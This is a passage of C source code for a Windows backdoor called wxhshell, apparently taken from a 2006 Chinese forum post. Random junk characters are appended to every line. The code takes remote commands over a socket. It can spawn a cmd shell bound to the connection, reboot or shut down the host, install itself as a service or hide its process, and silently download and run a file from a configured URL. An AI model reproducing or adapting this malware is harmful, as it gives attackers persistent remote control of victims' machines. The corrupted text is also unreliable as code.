  // 帮助 S U04q+  
  case '?': { n1X7T0'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2+50ezsId  
    break; !A qSG-  
  } R]H/Jv\'  
  // 安装 }9=VhC%J  
  case 'i': { Bg {"{poy  
    if(Install()) -Z9e}$q$,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JHBX'1GQa  
    else sSU p7V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 26?yEd6^Z  
    break; M, f6UYo=  
    } @-)jU!  
  // 卸载 4@- 'p  
  case 'r': { 0@k)C z[0;  
    if(Uninstall()) :@mb.' %*!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cyL"?vR*<  
    else R^4JM,v9x`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }N dknut,  
    break; xj\! Sn2  
    } Tc$Jvy-G4A  
  // 显示 wxhshell 所在路径 J sde+G,N  
  case 'p': { -pvF~P?8U  
    char svExeFile[MAX_PATH]; llN#4D9s  
    strcpy(svExeFile,"\n\r"); 0e-M 24,C  
      strcat(svExeFile,ExeFile); 7M9Ey29f  
        send(wsh,svExeFile,strlen(svExeFile),0); j&~`H:=E  
    break; (hr*.NS#  
    } Fu].%`*xJ  
  // 重启 ):-\TVz~  
  case 'b': { k  <SFl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8cI<~|4_  
    if(Boot(REBOOT)) A%(t'z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &?59{B. mD  
    else { :(ni/,~Q  
    closesocket(wsh); TL'^@Y7X5  
    ExitThread(0); g$+ $@~  
    } j6}/pe*;;T  
    break; O!xul$9  
    } N;gI %6  
  // 关机 }&!fT\4  
  case 'd': { -k(bM:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7XrXx:*a5  
    if(Boot(SHUTDOWN))  $I}7EI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `3GYV|LeQ  
    else { 3HCH-?U5  
    closesocket(wsh); <u`m4w  
    ExitThread(0); Q0l[1;$#  
    } {{N*/ E^  
    break; @~1}n/  
    } },#@q_E  
  // 获取shell l<X8Ooan#{  
  case 's': { w\SfzJN  
    CmdShell(wsh); x`9IQQ  
    closesocket(wsh); q.I  
    ExitThread(0); @,kR<1  
    break; )/Z% HBn  
  } PLoD^3uG)  
  // 退出 ]fiAV|'^  
  case 'x': { U}hQVpP#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )a99@`L\P  
    CloseIt(wsh); T3H\KRe6  
    break; ol#| .a2O  
    } tg5G`P5PJ  
  // 离开 ~IQ3B $4H&  
  case 'q': { {XR 3L'X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NW?.Ge.!P  
    closesocket(wsh); *UxN~?N|  
    WSACleanup(); E)ne z  
    exit(1); N./l\NtZ  
    break; :^bjn3b  
        } a]NH >d  
  } Ga,+  
  } $<DcbJW  
uz U2)n3y  
  // 提示信息 e:`d)GE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #"&<^  
} 0[L)`7  
  } Wks?9 )Is  
RZ +SOZs7H  
  return; {PBm dX  
} D^dos`L0b  
# cGn5c}  
// shell模块句柄 S29k IJ  
int CmdShell(SOCKET sock) jq_E{Dq1  
{ 'jnR<>N  
STARTUPINFO si; wg.TCT2  
ZeroMemory(&si,sizeof(si)); BU;o$"L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xryXO(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y*oH"]D  
PROCESS_INFORMATION ProcessInfo; Ng,< 4;  
char cmdline[]="cmd"; qL;u59  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K (px-jY  
  return 0; LWX,u  
} HE BKRpt  
jVdRy{MH  
// 自身启动模式 lX)ZQY:=:  
int StartFromService(void) SOg>0VH)  
{ aWg*f*2f  
typedef struct /k_?S?  
{ /l6r4aO2=  
  DWORD ExitStatus; J n~t>?  
  DWORD PebBaseAddress; "~+? xke5z  
  DWORD AffinityMask; )Up'W  
  DWORD BasePriority; u*"mdL2  
  ULONG UniqueProcessId; J}?:\y<  
  ULONG InheritedFromUniqueProcessId; QJ%[6S  
}   PROCESS_BASIC_INFORMATION; -h%!#g  
z\g6E/%%  
PROCNTQSIP NtQueryInformationProcess; yb4Jsk5%  
e09('SON(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .).}ffhOL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,'}qLor  
N0mP EF2  
  HANDLE             hProcess; #0uD&95<  
  PROCESS_BASIC_INFORMATION pbi; $-*E   
 "o{o9.w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yH<a;@C  
  if(NULL == hInst ) return 0; qvHRP@  
Bj1{=Pvl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Or:a\qQ1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KB@F^&L {  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u&-Zh@;Q7  
?7|6jTIs  
  if (!NtQueryInformationProcess) return 0; ]ucz8('  
X}5}M+'~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L kK# =v  
  if(!hProcess) return 0; t^')ST  
!Zi_4 .(4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z]^Ooy[pb  
<$+Cd=71\  
  CloseHandle(hProcess); ,GVD.whUl  
_(zPA4q8q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I&Dp~aEM]  
if(hProcess==NULL) return 0; $-#|g  
j-}WA"  
HMODULE hMod; 77?D ~N[  
char procName[255]; 7#pu(:T$  
unsigned long cbNeeded; e6y,)W"WW2  
&:@)ro CR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |G(9mnZ1  
ba`V`0p-(  
  CloseHandle(hProcess); ~9Jlb-*I5  
|XV@/ZGl~  
if(strstr(procName,"services")) return 1; // 以服务启动 0 v> *P*  
.z6"(?~  
  return 0; // 注册表启动 bsosva+  
} .?^a|]  
9]]isE8r  
// 主模块 40i]I@:JK  
int StartWxhshell(LPSTR lpCmdLine) D *Hy 2eZ.  
{ xhTiOt6l  
  SOCKET wsl; > 3SZD  
BOOL val=TRUE; yKb+bm&5:'  
  int port=0; NpLO_-  
  struct sockaddr_in door; YEiQ`sYKG  
Lbwc2Q,.-  
  if(wscfg.ws_autoins) Install(); TDY2 M  
<RaUs2Q3.  
port=atoi(lpCmdLine); 6aMG!_jC  
{1VMwANj  
if(port<=0) port=wscfg.ws_port; :d{-"RAG"  
SSH 1Ge5|  
  WSADATA data; ")xd 'V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^f?>;,<&  
FbU98n+z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e{RhMjX<D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lHI ;fR  
  door.sin_family = AF_INET; A^3M~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z7$,m#tw  
  door.sin_port = htons(port); 8G<{L0J%!  
r&0IhE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >u=Dc.lX  
closesocket(wsl); ?y`we6~\1  
return 1; S?BI)shmg  
} KP*cb6vA  
+J;T= p  
  if(listen(wsl,2) == INVALID_SOCKET) { [5T{`&  
closesocket(wsl); e0 &x?U*/  
return 1; Wm#F~<$  
} 6-6ha7]s  
  Wxhshell(wsl); *kM^l!<g  
  WSACleanup(); <>?7veN92  
|%~Zo:Q<$>  
return 0; l'm\ *=3  
1Ax{Y#<  
} \:Vm7Zg  
M4rK  
// 以NT服务方式启动 24b?6^8~k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U5!~ @XjG>  
{ P+2@,?9#  
DWORD   status = 0; Mq,2S  
  DWORD   specificError = 0xfffffff; 57~/QEdy  
ra]lC7<H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 15dbM/Gj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2b89th  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E Z+L'  
  serviceStatus.dwWin32ExitCode     = 0; LEn+0^hX  
  serviceStatus.dwServiceSpecificExitCode = 0; 2T&n6t$p  
  serviceStatus.dwCheckPoint       = 0; f:u3fL  
  serviceStatus.dwWaitHint       = 0; gF53[\w^v  
|g1~-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .tQeOZW'  
  if (hServiceStatusHandle==0) return; chs] ,7R  
QTLGM-Z  
status = GetLastError(); ww#]i&6  
  if (status!=NO_ERROR) H$4 4,8,m  
{ @Lk!nP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SpJIEw  
    serviceStatus.dwCheckPoint       = 0; hztxsvw  
    serviceStatus.dwWaitHint       = 0; jn,_Ncd#  
    serviceStatus.dwWin32ExitCode     = status; nA4PY]  
    serviceStatus.dwServiceSpecificExitCode = specificError;  {,Z-GJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @{LD_>R  
    return; NR9=V  
  } )8@|+'q  
O+ghw1/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <4%cKW0  
  serviceStatus.dwCheckPoint       = 0; /O {iL:`  
  serviceStatus.dwWaitHint       = 0; kC8M2|L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tcD DX'S  
} 6i7+.#s  
JZ>E<U9&  
// 处理NT服务事件,比如:启动、停止 J2avt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rZ:-%#Q4  
{ 8kYI ~  
switch(fdwControl) u [Dz~  
{ >HL$=J_K?  
case SERVICE_CONTROL_STOP: 9kby-A4  
  serviceStatus.dwWin32ExitCode = 0; {\p&?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3!qp+i)?  
  serviceStatus.dwCheckPoint   = 0; `&w{-om\  
  serviceStatus.dwWaitHint     = 0; U@:h';.  
  { Q4e+vBECkq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Y1y;hCK  
  } \6L,jSoBl  
  return; X')t6DQ(I  
case SERVICE_CONTROL_PAUSE: }BN!Xa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0 P2lq  
  break; k\<8h%  
case SERVICE_CONTROL_CONTINUE: :/XWk %  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N;mJHr3[F  
  break; 5v_vv'~  
case SERVICE_CONTROL_INTERROGATE: 0i4XS*vPv  
  break; o ~`KOe  
}; yBkcYHT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6R'z3[K9  
} kkU#0p?7  
5Ei4$T  
// 标准应用程序主函数 r(OH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hq*"S -N  
{ 4`zK`bRcK#  
5iZx -M  
// 获取操作系统版本 hn[lhC  
OsIsNt=GetOsVer(); opfg %*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _X)`S"EsJ  
^`+Kjhht  
  // 从命令行安装 tb/`*Yl@  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9(pF!}1 %\  
}P\J?8  
  // 下载执行文件 kHz?vVE/l  
if(wscfg.ws_downexe) { rk8Cea  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dj9ecV`  
  WinExec(wscfg.ws_filenam,SW_HIDE); EV[ BB;eb  
} %v)+]Ds{  
{&uN q^Ch  
if(!OsIsNt) { Vu5Djx'  
// 如果时win9x,隐藏进程并且设置为注册表启动 F#KUu3;B  
HideProc(); WGA"e   
StartWxhshell(lpCmdLine); Nz;f| 2h  
} L2> )HG  
else ]=G  dAW  
  if(StartFromService()) w:h([q4X  
  // 以服务方式启动 MHQM'  
  StartServiceCtrlDispatcher(DispatchTable); ZfVw33z  
else OfPv'rW{x  
  // 普通方式启动 ;U[W $w[  
  StartWxhshell(lpCmdLine); o-+H-  
AB=Wj*f r  
return 0; RgSB?  
}
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只看该作者 1 发表于: 2006-10-10
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